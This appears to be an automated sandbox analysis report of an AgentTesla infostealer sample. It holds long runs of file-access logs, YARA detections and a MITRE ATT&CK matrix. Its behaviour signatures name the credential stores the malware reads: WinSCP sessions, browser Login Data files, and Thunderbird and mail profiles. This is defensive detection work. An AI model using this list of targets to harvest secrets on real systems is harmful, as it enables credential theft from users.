Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Users\user\Desktop\P020241901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\P020241901.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.VKkzqGUhsZwwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.3799000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.375e5e0.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.375e5e0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.3799000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 4204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VKkzqGUhsZwwm.exe PID: 7540, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\P020241901.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\P020241901.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 14.2.VKkzqGUhsZwwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.3799000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.375e5e0.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.375e5e0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.3799000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 4204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VKkzqGUhsZwwm.exe PID: 7540, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.VKkzqGUhsZwwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.3799000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.375e5e0.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.375e5e0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.P020241901.exe.3799000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 4204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VKkzqGUhsZwwm.exe PID: 7540, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
